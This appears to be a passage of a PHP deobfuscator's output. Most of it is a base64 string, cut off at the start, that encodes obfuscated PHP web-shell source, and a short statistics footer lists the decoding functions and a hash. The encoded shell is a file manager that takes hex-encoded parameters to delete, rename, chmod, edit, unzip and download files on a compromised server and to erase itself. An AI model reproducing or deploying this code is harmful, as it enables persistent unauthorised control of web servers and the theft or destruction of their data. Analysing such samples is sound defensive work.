kJCWVsc2VpZihpc3NldCgkX0dFVFsieCJdKSkgewoJCQkJCQlyZWModWhleCgkX0dFVFsieCJdKSk7CgkJCQkJCWlmKCRHTkpbMjZdKHVoZXgoJF9HRVRbIngiXSkpKSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJT0soKTsKCQkJCQkJfQoKCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJ0Il0pKSB7CgkJCQkJCWVjaG8gJGFfLnVoZXgoJF9HRVRbInQiXSkuJGJfLicKCQkJCQkJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8aW5wdXQgbmFtZT0idCIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSInLiRHTkpbMjBdKCJZLW0tZCBIOmkiLCAkR05KWzIxXSh1aGV4KCRfR0VUWyJ0Il0pKSkuJyI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoICFlbXB0eSgkX1BPU1RbInQiXSkgKSB7CgkJCQkJCSRwID0gJEdOSlszM10oJF9QT1NUWyJ0Il0pOwoJCQkJCQlpZigkcCkgewoJCQkJCQkJaWYoISRHTkpbMjVdKHVoZXgoJF9HRVRbInQiXSksJHAsJHApKSB7CgkJCQkJCQkJRVIoKTsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCU9LKCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiayJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJrIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IG5hbWU9ImIiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy4kR05KWzIyXSgkR05KWzIzXSgnJW8nLCAkR05KWzI0XSh1aGV4KCRfR0VUWyJrIl0pKSksIC00KS4nIj4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQknLiRjXzsKCQkJCQlpZighZW1wdHkoJF9QT1NUWyJiIl0pKSB7CgkJCQkJCSR4ID0gJF9QT1NUWyJiIl07CgkJCQkJCSR0ID0gMDsKCQkJCQlmb3IoJGk9c3RybGVuKCR4KS0xOyRpPj0wOy0tJGkpCgkJCQkJCSR0ICs9IChpbnQpJHhbJGldKnBvdyg4LCAoc3RybGVuKCR4KS0kaS0xKSk7CgkJCQkJaWYoISRHTkpbMTJdKHVoZXgoJF9HRVRbImsiXSksICR0KSkgewoJCQkJCQlFUigpOwoJCQkJCX0KCQkJCQllbHNlIHsKCQkJCQkJT0soKTsKCQkJCQkJICB9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJsIl0pKSB7CgkJCQkJCWVjaG8gJGFfLicrRElSJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJsIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoaXNzZXQoJF9QT1NUWyJsIl0pKSB7CgkJCQkJCWlmKCEkR05KWzExXSgkX1BPU1RbImwiXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlPSygpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsicSJdKSkgewoJCQkJCQlpZigkR05KWzEwXShfX0ZJTEVfXykpIHsKCQkJCQkJCSRHTkpbMzhdKCRHTkpbOV0pOwoJCQkJCQkJaGVhZGVyKCJMb2NhdGlvbjogIi5iYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkuIiIpOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJZWNobyAkZzsKCQkJCQkJfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbIm4iXSkpIHsKCQkJCQkJZWNobyAkYV8uJytGSUxFJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJuIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoaXNzZXQoJF9QT1NUWyJuIl0pKSB7CgkJCQkJCWlmKCEkR05KWzI1XSgkX1BPU1RbIm4iXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlPSygpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiciJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJyIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IG5hbWU9InIiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy51aGV4KCRfR0VUWyJyIl0pLiciPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCScuJGNfOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsiciJdKSkgewoJCQkJCQlpZigkR05KWzI2XSgkX1BPU1RbInIiXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlpZigkR05KWzI3XSh1aGV4KCRfR0VUWyJyIl0pLCAkX1BPU1RbInIiXSkpIHsKCQkJCQkJCQlPSygpOwoJCQkJCQkJfQoJCQkJCQkJZWxzZSB7CgkJCQkJCQkJRVIoKTsKCQkJCQkJCX0KCQkJCQkJICB9CgkJCQkJICAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbInoiXSkpIHsKCQkJCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlOwoJCQkJCQkkcmVzID0gJHppcC0+b3Blbih1aGV4KCRfR0VUWyJ6Il0pKTsKCQkJCQkJCWlmKCRyZXMgPT09IFRSVUUpIHsKCQkJCQkJCQkkemlwLT5leHRyYWN0VG8odWhleCgkX0dFVFsiZCJdKSk7CgkJCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQkJCQlPSygpOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlFUigpOwoJCQkJCQkgIH0KCQkJCQl9CgkJCQkJZWxzZSB7CgkJCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPgoJCQkJCQk8dGhlYWQ+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRoIHdpZHRoPSI0NCUiPlsgTkFNRSBdPC90aD4KCQkJCQkJCQk8dGggd2lkdGg9IjExJSI+WyBTSVpFIF08L3RoPgoJCQkJCQkJCTx0aCB3aWR0aD0iMTclIj5bIFBFUk0gXTwvdGg+CgkJCQkJCQkJPHRoIHdpZHRoPSIxNyUiPlsgREFURSBdPC90aD4KCQkJCQkJCQk8dGggd2lkdGg9IjExJSI+WyBBQ1QgXTwvdGg+CgkJCQkJCQk8L3RyPgoJCQkJCQk8L3RoZWFkPgoJCQkJCQk8dGJvZHk+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRkPgoJCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZCkuJyZuIj4rRklMRTwvYT4KCQkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGQpLicmbCI+K0RJUjwvYT4KCQkJCQkJCQk8L3RkPgoJCQkJCQkJPC90cj4KCQkJCQkJJzsKCgkJCQkJCQkkaCA9ICIiOwoJCQkJCQkJJGogPSAiIjsKCQkJCQkJCSR3ID0gJEdOSlsxM10oJGQpOwoJCQkJCQkJaWYoJEdOSlsyOF0oJHcpIHx8ICRHTkpbMjldKCR3KSkgewoJCQkJCQkJZm9yZWFjaCgkdyBhcyAkYyl7CgkJCQkJCQkJJGUgPSAkR05KWzE0XSgiXFwiLCAiLyIsICRkKTsKCQkJCQkJCQlpZighJEdOSlszMF0oJGMsICIuemlwIikpIHsKCQkJCQkJCQkJJHppID0gJyc7CgkJCQkJCQkJfQoJCQkJCQkJCWVsc2UgewoJCQkJCQkJCQkkemkgPSAnPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmej0nLmhleCgkYykuJyI+VTwvYT4nOwoJCQkJCQkJCX0KCQkJCQkJCQlpZigkR05KWzMxXSgiJGQvJGMiKSkgewoJCQkJCQkJCQkJJG8gPSAiIjsKCQkJCQkJCQl9CgkJCQkJCQkJZWxzZWlmKCEkR05KWzMyXSgiJGQvJGMiKSkgewoJCQkJCQkJCQkJJG8gPSAiIGgiOwoJCQkJCQkJCX0KCQkJCQkJCQllbHNlIHsKCQkJCQkJCQkJCSRvID0gIiB3IjsKCQkJCQkJCQl9CgkJCQkJCQkJJHMgPSAkR05KWzM0XSgiJGQvJGMiKSAvIDEwMjQ7CgkJCQkJCQkJJHMgPSByb3VuZCgkcywgMyk7CgkJCQkJCQkJaWYoJHM+PTEwMjQpIHsgCgkJCQkJCQkJCSRzID0gcm91bmQoJHMvMTAyNCwgMikgLiAiIE1CIjsKCQkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCQkkcyA9ICRzIC4gIiBLQiI7CgkJCQkJCQkJfQoJCQkJCQkJaWYoKCRjICE9ICIuIikgJiYgKCRjICE9ICIuLiIpKXsKCQkJCQkJCQkoJEdOSls4XSgiJGQvJGMiKSkgPwoJCQkJCQkJCSRoIC49ICc8dHIgY2xhc3M9InIiPgoJCQkJCQkJPHRkPgoJCQkJCQkJCTxpIGNsYXNzPSJmYXIgZmEtZm9sZGVyIG0iPjwvaT4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuaGV4KCIvIi4kYykuJyI+Jy4kYy4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJZGlyCgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4Jy4kby4nIiBocmVmPSI/ZD0nLmhleCgkZSkuJyZrPScuaGV4KCRjKS4nIj4nLngoIiRkLyRjIikuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnQ9Jy5oZXgoJGMpLiciPicuJEdOSlsyMF0oIlktbS1kIEg6aSIsICRHTkpbMjFdKCIkZC8kYyIpKS4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcj0nLmhleCgkYykuJyI+UjwvYT4KCQkJCQkJCQk8YSBocmVmPSI/ZD0nLmhleCgkZSkuJyZ4PScuaGV4KCRjKS4nIj5EPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJCgkJCQkJCScKCQkJCQkJCToKCQkJCQkJCQkkaiAuPSAnPHRyIGNsYXNzPSJyIj4KCQkJCQkJCTx0ZD4KCQkJCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWZpbGUgbSI+PC9pPiZ0aGluc3A7CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcz0nLmhleCgkYykuJyI+Jy4kYy4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJJy4kcy4nCgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4Jy4kby4nIiBocmVmPSI/ZD0nLmhleCgkZSkuJyZrPScuaGV4KCRjKS4nIj4nLngoIiRkLyRjIikuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnQ9Jy5oZXgoJGMpLiciPicuJEdOSlsyMF0oIlktbS1kIEg6aSIsICRHTkpbMjFdKCIkZC8kYyIpKS4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcj0nLmhleCgkYykuJyI+UjwvYT4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZlPScuaGV4KCRjKS4nIj5FPC9hPgoJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJmc9Jy5oZXgoJGMpLiciPkc8L2E+CgkJCQkJCQkJJy4kemkuJwoJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJng9Jy5oZXgoJGMpLiciPkQ8L2E+CgkJCQkJCQk8L3RkPgoJCQkJCQk8L3RyPgoJCQkJCQkKCQkJCQkJJzsKCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgoJCQkJCQllY2hvICRoOwoJCQkJCQllY2hvICRqOwoJCQkJCQllY2hvICc8L3Rib2R5PgoJCQkJCQk8dGZvb3Q+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCI+CgkJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnkiPlJFUVVFU1Q8L2E+CgkJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnEiPkVYSVQ8L2E+CgkJCQkJCQkJPC90aD4KCQkJCQkJCQk8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTElIj48L3RoPgoJCQkJCQkJCTx0aCBjbGFzcz0iZXQiIHdpZHRoPSIxNyUiPjwvdGg+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCIgd2lkdGg9IjE3JSI+PC90aD4KCQkJCQkJCQk8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTElIj48L3RoPgoJCQkJCQkJPC90cj4KCQkJCQk8L3Rmb290PgoJCQkJPC90YWJsZT4nOwoJCQkJCX0KCQkJCQk/PgoKCQkJPC9hcnRpY2xlPgoJCQk8Zm9vdGVyIGNsYXNzPSJ4Ij4KCQkJCQoJCQk8L2Zvb3Rlcj4KCQkJPD9waHAKCQkJaWYoaXNzZXQoJF9HRVRbIjEiXSkpIHsKCQkJCWVjaG8gJGY7CgkJCX0KCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyIwIl0pKSB7CgkJCQllY2hvICRnOwoJCQl9CgkJCWVsc2UgewoJCQkJTlVMTDsKCQkJfQoJCQk/PgoKCQkJPHNjcmlwdD4KCQkJCSQoIi5hangiKS5jbGljayhmdW5jdGlvbih0KXt0LnByZXZlbnREZWZhdWx0KCk7dmFyIGU9JCh0aGlzKS5hdHRyKCJocmVmIik7aGlzdG9yeS5wdXNoU3RhdGUoIiIsIiIsZSksJC5nZXQoZSxmdW5jdGlvbih0KXskKCJib2R5IikuaHRtbCh0KX0pfSk7CgkJCTwvc2NyaXB0PgoJCTwvYm9keT4KCTwvaHRtbD4KPD9waHAKCWZ1bmN0aW9uIHJlYygkaikgewoJCWdsb2JhbCAkR05KOwoJCWlmKHRyaW0ocGF0aGluZm8oJGosIFBBVEhJTkZPX0JBU0VOQU1FICksICcuJykgPT09ICcnKSB7CgkJCXJldHVybjsKCQl9CgkJaWYoJEdOSls4XSgkaikpIHsKCQkJYXJyYXlfbWFwKCdyZWMnLCBnbG9iKCRqIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd7LC59KicsIEdMT0JfQlJBQ0UgfCBHTE9CX05PU09SVCkpOwoJCQkkR05KWzM1XSgkaik7CgkJfQoJCWVsc2UgewoJCQkkR05KWzEwXSgkaik7CgkJfQoJfQoJZnVuY3Rpb24gZHJlKCR5MSwgJHkyKSB7CgkJZ2xvYmFsICRHTko7CgkJb2Jfc3RhcnQoKTsKCQkkR05KWzE2XSgkeTEoJHkyKSk7CgkJcmV0dXJuICRHTkpbMzZdKCk7Cgl9CglmdW5jdGlvbiBoZXgoJG4pIHsKCQkkeT0nJzsKCQlmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKyl7CgkJCSR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CgkJfQoJCXJldHVybiAkeTsKCX0KCWZ1bmN0aW9uIHVoZXgoJHkpIHsKCQkkbj0nJzsKCQlmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCR5KS0xOyAkaSs9Mil7CgkJCSRuIC49IGNocihoZXhkZWMoJHlbJGldLiR5WyRpKzFdKSk7CgkJfQoJCXJldHVybiAkbjsKCX0KCWZ1bmN0aW9uIE9LKCkgewoJCWdsb2JhbCAkR05KLCAkZDsKCQkkR05KWzM4XSgkR05KWzldKTsKCQloZWFkZXIoIkxvY2F0aW9uOiA/ZD0iLmhleCgkZCkuIiYxIik7CgkJZXhpdCgpOwoJfQoJZnVuY3Rpb24gRVIoKSB7CgkJZ2xvYmFsICRHTkosICRkOwoJCSRHTkpbMzhdKCRHTkpbOV0pOwoJCWhlYWRlcigiTG9jYXRpb246ID9kPSIuaGV4KCRkKS4iJjAiKTsKCQlleGl0KCk7Cgl9CglmdW5jdGlvbiB4KCRjKSB7CgkJZ2xvYmFsICRHTko7CgkJJHggPSAkR05KWzI0XSgkYyk7CgkJaWYoKCR4ICYgMHhDMDAwKSA9PSAweEMwMDApIHsKCQkJJHUgPSAicyI7CgkJfQoJCWVsc2VpZigoJHggJiAweEEwMDApID09IDB4QTAwMCkgewoJCQkkdSA9ICJsIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CgkJCSR1ID0gIi0iOwoJCX0KCQllbHNlaWYoKCR4ICYgMHg2MDAwKSA9PSAweDYwMDApIHsKCQkJJHUgPSAiYiI7CgkJfQoJCWVsc2VpZigoJHggJiAweDQwMDApID09IDB4NDAwMCkgewoJCQkkdSA9ICJkIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CgkJCSR1ID0gImMiOwoJCX0KCQllbHNlaWYoKCR4ICYgMHgxMDAwKSA9PSAweDEwMDApIHsKCQkJJHUgPSAicCI7CgkJfQoJCWVsc2UgewoJCQkkdSA9ICJ1IjsKCQl9CgkJJHUgLj0gKCgkeCAmIDB4MDEwMCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwODApID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDQwKSA/ICgoJHggJiAweDA4MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA4MDApID8gIlMiIDogIi0iKSk7CgkJJHUgLj0gKCgkeCAmIDB4MDAyMCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwMTApID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDA4KSA/ICgoJHggJiAweDA0MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA0MDApID8gIlMiIDogIi0iKSk7CgkJJHUgLj0gKCgkeCAmIDB4MDAwNCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwMDIpID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDAxKSA/ICgoJHggJiAweDAyMDApID8gInQiIDogIngiKSA6ICgoJHggJiAweDAyMDApID8gIlQiIDogIi0iKSk7CgkJcmV0dXJuICR1OwoJfQoJaWYoaXNzZXQoJF9HRVRbImciXSkpIHsKCQkkR05KWzM4XSgkR05KWzldKTsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBCaW5hcnkiKTsKCQloZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiLiRHTkpbMzRdKHVoZXgoJF9HRVRbImciXSkpKTsKCQloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi51aGV4KCRfR0VUWyJnIl0pLiJcIiIpOwoJCSRHTkpbMzddKHVoZXgoJF9HRVRbImciXSkpOwoJfQo='));
Function Calls
str_rot13 | 1 |
gzuncompress | 1 |
base64_decode | 2 |
Stats
MD5 | c682472b8fe37a165d07656738b6535a |
Eval Count | 2 |
Decode Time | 96 ms |